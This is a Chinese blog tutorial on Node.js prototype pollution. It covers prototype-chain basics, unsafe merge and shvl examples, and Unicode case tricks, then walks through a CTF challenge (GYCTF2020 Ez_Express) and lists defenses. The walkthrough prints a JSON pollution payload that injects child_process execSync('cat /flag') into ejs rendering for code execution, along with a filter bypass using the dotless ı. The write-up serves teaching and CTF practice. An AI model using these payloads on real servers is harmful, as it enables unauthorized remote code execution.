Nodejs原型链污染

在攻防世界和CTF比赛中见过几道Nodejs原型链污染的题目,发现这是一个常考点,不得不整理了。

首先解释一下原型链

Nodejs原型链

工作原理

Node.js 中的原型链(Prototype Chain)是JavaScript实现继承的一种机制。每个对象都有一个内部链接,指向另一个对象,这个对象被称为其原型。

具体来说,原型链的工作原理如下:

  1. 当访问一个对象的属性或方法时,首先在该对象自身中查找。
  2. 如果找不到,就去其原型对象中查找。
  3. 如果在原型对象中也找不到,就继续向上查找,直到找到为止或者到达Object.prototype 为止。
  4. 如果在Object.prototype 中也没有找到,则返回null。

例如,考虑以下代码:

// 定义 Parent 构造函数
function Parent(name) {
    this.name = name; // 给 Parent 实例添加一个 name 属性
}

// 在 Parent 的原型上定义方法
Parent.prototype = {
    constructor: Parent, // 保持 constructor 指向 Parent
    greet: function() {
        console.log("Hello!"); // 定义 greet 方法,输出 "Hello!"
    }
};

// 定义 Child 构造函数
function Child(caretaker) {
    this.caretaker = caretaker; // 给 Child 实例添加一个 caretaker 属性
}

// 设置 Child 的原型为一个新的 Parent 实例
Child.prototype = new Parent("Default Parent");

// 创建一个 Child 的实例
var kid = new Child("Ms. Caretaker");

// 访问 kid 的属性和方法
console.log(kid.caretaker); // 输出: Ms. Caretaker
console.log(kid.name); // 输出: Default Parent
kid.greet(); // 输出: Hello!

访问 kidcaretakername 属性,以及 greet 方法。由于 kid 继承自 Parent,它可以访问 Parentname 属性和 greet 方法。

常见的Nodejs-web框架:

  • Express.js
  • NestJS
  • Koa.js
  • Hapi.js
  • Adonis.js

__proto__和prototype

在Node.js 中,__proto__prototype是与对象的原型链紧密相关的两个概念。

  1. prototype属性
    • prototype是函数对象的一个属性,指向一个对象。这个对象包含了所有通过该函数创建的实例共享的属性和方法。
    • 函数对象通过其prototype属性来定义继承关系,即当一个新对象被实例化时,它的原型会自动指向该函数对象的prototype
    • 每个函数都有一个特殊的prototype属性,用于指定该函数创建的所有实例的共享属性和方法。
  2. __proto__属性
    • __proto__是一个对象的内置属性,用于指向该对象的实际原型。对于大多数对象来说,这个属性指向的是其构造函数的prototype属性所指向的对象。
    • 在ES6中,推荐使用Object.getPrototypeOf ()方法来获取对象的原型,而不是直接访问__proto__
    • 对于数组和对象字面量创建的对象,__proto__通常指向相应的默认原型(如Array.prototype Object.prototype )。

关系与区别

  • 关系: 每个对象的__proto__属性都指向其原型对象,而该原型对象的prototype属性则定义了该原型对象所拥有的属性和方法。
  • 区别:
    • prototype是一个静态属性,用于描述类或构造函数的行为和属性。
    • __proto__是一个动态属性,用于实际访问和修改对象的原型。
const o = {
  a: 1,
  b: 2,
  // __proto__ 设置了 [[Prototype]]。它在这里被指定为另一个对象字面量。
  __proto__: {
    b: 3,
    c: 4,
    __proto__: {
      d: 5,
    },
  },
};

// { a: 1, b: 2 } ---> { b: 3, c: 4 } ---> { d: 5 } ---> Object.prototype ---> null

console.log(o.d); // 5

原型链的污染

原型链污染的核心在于控制某个对象的原型,从而影响所有基于该原型创建的对象。

从上面的简单介绍我们可以知道**原型链的特性:**每个对象都有一个指向其原型的内部链接(即 __proto__),当访问某个对象不存在的属性时,会沿着原型链向上查找,从该对象的构造函数的 prototype 开始,直到找到 Object.prototype 为止。

因此,攻击者可以利用这个特性进行原型链的污染:通过修改一个对象的原型链,来污染程序的行为。例如,攻击者可以在一个对象的原型链上设置一个恶意的属性或方法,当程序在后续的执行中访问该属性或方法时,就会执行攻击者的恶意代码。

原型链污染示例

// 正常情况下定义一个简单的对象
let user = {
    name: "Alice",
    age: 25
};

// 访问 user 对象的属性
console.log(user.name); // 输出: Alice
console.log(user.age);  // 输出: 25

// 攻击者进行原型链污染
Object.prototype.isAdmin = true;

// 访问 user 对象的新属性
console.log(user.isAdmin); // 输出: true

解释

  1. 原型链污染

    • 攻击者通过覆盖 Object.prototype,向所有对象注入了一个新的属性 isAdmin
  2. 访问被污染的属性

    • 由于 user 对象没有定义 isAdmin 属性,当访问 user.isAdmin 时,会沿着原型链向上查找,最终在 Object.prototype 找到该属性。

哪些情况下原型链会被污染?

在实际应用中,原型链可能会在以下几种情况下被攻击者修改:

Object Merge

在对象合并过程中,如果能够控制合并操作的键名,就可能导致原型链污染。考虑一个简单的对象合并函数:

function merge(target, source) {
    for (let key in source) {
        if (source.hasOwnProperty(key)) {
            if (typeof target[key] === 'object' && typeof source[key] === 'object') {
                merge(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
    }
}

在这个合并过程中,存在赋值操作 target[key] = source[key]。如果 key__proto__,是不是就会导致原型链污染呢?

我们可以用以下代码实验一下:

let o1 = {};
let o2 = {a: 1, "__proto__": {b: 2}};
merge(o1, o2);
console.log(o1.a); // 输出: 1
console.log(o1.b); // 输出: undefined

let o3 = {};
console.log(o3.b); // 输出: undefined

结果是,**虽然合并成功了,但原型链没有被污染。**这是因为在 JavaScript 中创建 o2 的过程中(let o2 = {a: 1, "__proto__": {b: 2}}),__proto__ 已经代表 o2 的原型了。在遍历 o2 的键名时,_proto_ 不被视为一个键名,因此不会修改 Object 的原型


使用 JSON 解析

为了让 __proto__ 被视为一个键名,我们可以使用 JSON 解析(JSON.parse):

let o1 = {};
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(o1, o2);
console.log(o1.a); // 输出: 1
console.log(o1.b); // 输出: 2

let o3 = {};
console.log(o3.b); // 输出: 2

在这种情况下,o3 对象存在 b 属性,说明 Object 已经被污染。这是因为在 JSON 解析的过程中,__proto__ 被认为是一个真正的键名,而不代表“原型”,所以在遍历 o2 时会存在这个键。


shvl

在原型链污染中,shvl也是一个关键的技术手段。

shvl 是一个用于操作对象属性的库,其版本从 1.0.0 到 2.0.1 之间存在原型链污染漏洞。该漏洞允许攻击者通过注入特定的数据来修改对象的原型属性,可能引发拒绝服务或远程代码执行等严重后果。

具体来说,攻击者可以利用 shvl.set 方法或其他相关功能,向对象注入恶意数据,从而实现对原型链的污染。

示例

假设我们使用了一个受漏洞影响的 shvl 库版本:

const shvl = require('shvl');

// 正常情况下
let obj = {};
shvl.set(obj, 'key', 'value');
console.log(obj.key); // 输出: value

// 恶意利用
shvl.set(obj, '__proto__.isAdmin', true);

console.log(obj.isAdmin); // 输出: undefined
console.log(({}).isAdmin); // 输出: true, 原型链已被污染

Trick(js大小写特性)

对于toUpperCase()函数

字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase

字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

实战演示

[GYCTF2020]Ez_Express

1、打开页面,提示需要用大写的ADMIN进行登录,尝试自己注册一个账户发现是无法登录的。

使用ADMIN账户名进行注册回显forbid word;使用ADMIN账户名进行登录回显error passwd

image-20240727211333060

2、扫描一下网站,发现扫不出来,使用burpsuite进行抓包爆破网站源码文件名,得到www.zip

image-20240728103814682

3、下载压缩包解压并审计代码可以得到,routes文件夹下的index.js里的代码是最重要的:

var express = require('express'); // 引入Express模块
var router = express.Router(); // 创建路由对象

// 判断是否为对象
const isObject = obj => obj && obj.constructor && obj.constructor === Object;

// 合并对象,将对象b的属性合并到对象a中
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]); // 递归合并嵌套的对象
    } else {
      a[attr] = b[attr]; // 直接赋值属性
    }
  }
  return a; // 返回合并后的对象
}

// 克隆对象
const clone = (a) => {
  return merge({}, a); // 合并到一个新的空对象中
}

// 检查传入的关键词是否包含“admin”,如果包含则返回该关键词,否则返回undefined。
function safeKeyword(keyword) {
  if (keyword.match(/(admin)/is)) {
    return keyword;
  }
  return undefined;
}

// 处理GET请求,根路径/
router.get('/', function (req, res) {
  if (!req.session.user) { // 如果没有用户会话,重定向到登录页面
    res.redirect('/login');
  } else {
    res.outputFunctionName = undefined; // 将outputFunctionName设为undefined
    res.render('index', { user: req.session.user.user }); // 渲染index页面,并传递用户信息
  }
});

// 处理GET请求,/login路径
router.get('/login', function (req, res) {
  res.render('login'); // 渲染login页面
});

// 处理POST请求,/login路径
router.post('/login', function (req, res) {
  if (req.body.Submit == "register") {
    if (safeKeyword(req.body.userid)) { // 注册时调用safeKeyword函数检查用户名是否包含“admin”,如果包含则提示错误
      res.end("<script>alert('forbid word');history.go(-1);</script>");
    } else {
      req.session.user = {
        'user': req.body.userid.toUpperCase(), // 创建会话时,用户ID被转换为大写
        'passwd': req.body.pwd,
        'isLogin': false
      };
      res.redirect('/'); // 重定向到根路径
    }
  } else if (req.body.Submit == "login") {
    if (!req.session.user) {
      res.end("<script>alert('register first');history.go(-1);</script>");
    } else if (req.session.user.user == req.body.userid && req.body.pwd == req.session.user.passwd) {
      req.session.user.isLogin = true; // 登录成功
    } else {
      res.end("<script>alert('error passwd');history.go(-1);</script>"); // 密码错误
    }
    res.redirect('/'); // 重定向到根路径
  }
});

// 处理POST请求,/action路径
router.post('/action', function (req, res) {
  if (req.session.user.user != "ADMIN") { // 只有用户名为“ADMIN”的用户才能执行此操作
    res.end("<script>alert('ADMIN is asked');history.go(-1);</script>");
  } else {
    req.session.user.data = clone(req.body); // 克隆请求体数据到会话数据
    res.end("<script>alert('success');history.go(-1);</script>");
  }
});

// 处理GET请求,/info路径
router.get('/info', function (req, res) {
  res.render('index', { user: res.outputFunctionName }); // 渲染index页面,并传递outputFunctionName
})

// 导出路由模块
module.exports = router;

4、其中最核心的function是safekeyword,这个函数用于检查传入的关键词是否包含“admin”,如果包含则返回该关键词,否则返回undefined。

但是网站又需要我们使用大写ADMIN进行登录,那我们的突破口就是toUpperCase()函数,前面的Trick提到,字符"ı" 经过toUpperCase处理后结果为 "I",那我们可以利用这个点来绕过safekeyword函数的检查

image-20240728132612643

5、我们回到login页面,输入ADMıN进行注册,得知flag的所在,但是没有任何回显,只能继续审计代码

299c1d2e35fd05c2c464e7aa90b7e81

image-20240728111005674

6、一直想着登录进入网站,却忽略了代码中有一段重要代码,这是一个Express框架,里面的对象merge可以控制__proto__,可能会导致原型链污染。

image-20240728120706047

7、留意到这个代码文件在渲染时都有outputFunctionName,查找资料猜测应该存在一个代码注入的 RCE

  • outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined
  • 但是在有原型链污染的前提下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。
  • 在后面模版渲染的时候,注入的代码就会被执行

5e924448d83c236ceebe5ffbe589952

a4903b4eacb879d0451d2f66f306069

8、在使用ADMIN注册后,使用burpsuite进行抓包,将Content-Type改成json格式,然后把payload放到最后即可

payload:{"__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag'); //"}}

image-20240728135736937

9、放包后会弹出success弹窗,点击刷新网页就会自动下载flag文件,打开即得flag

image-20240728152111725


防御措施

严格验证输入

  • 对所有用户输入进行严格的验证和过滤,确保不会包含恶意的JSON数据。
  • 使用强类型的验证库,如 Joiyup 等,来确保输入的数据符合预期的格式和类型。

避免使用危险的API

  • 尽量避免使用容易引起原型链污染的API,如 Object.assign 和某些第三方库中的方法。
  • 考虑使用安全的替代方法,如 Object.create(null) 来创建没有原型链的对象,从而避免污染。

使用白名单策略

  • 只允许白名单中的属性和方法被修改,防止未授权的操作。
  • 使用 Object.freezeObject.seal 来锁定对象,使其属性不可添加或删除,从而减少被污染的风险。

定期更新依赖库

  • 及时更新所有使用的第三方库,以修复已知的安全漏洞。
  • 使用工具如 npm auditSnyk 来检测和修复依赖项中的安全问题。

使用对象属性定义方法

  • 使用 Object.defineProperty 来定义对象属性,从而更好地控制属性的可配置性、可枚举性和可写性。

限制原型修改

  • 避免直接修改原型链,尤其是 Object.prototype。如果必须扩展原型链,应尽量使用局部的、独立的原型对象。
  • 使用 Object.create(null) 创建纯净的空对象,不继承 Object.prototype,从而避免原型链污染。
  • Object.freeze 用于锁定对象,防止其属性被添加、删除或修改。

参考文章:

浅析CTF中的Node.js原型链污染 - FreeBuf网络安全行业门户

继承与原型链 - JavaScript | MDN (mozilla.org)

【网络安全系列】JavaScript原型链污染攻击总结_shvl-CSDN博客

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

Express+lodash+ejs: 从原型链污染到RCE - evi0s’ Blog

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值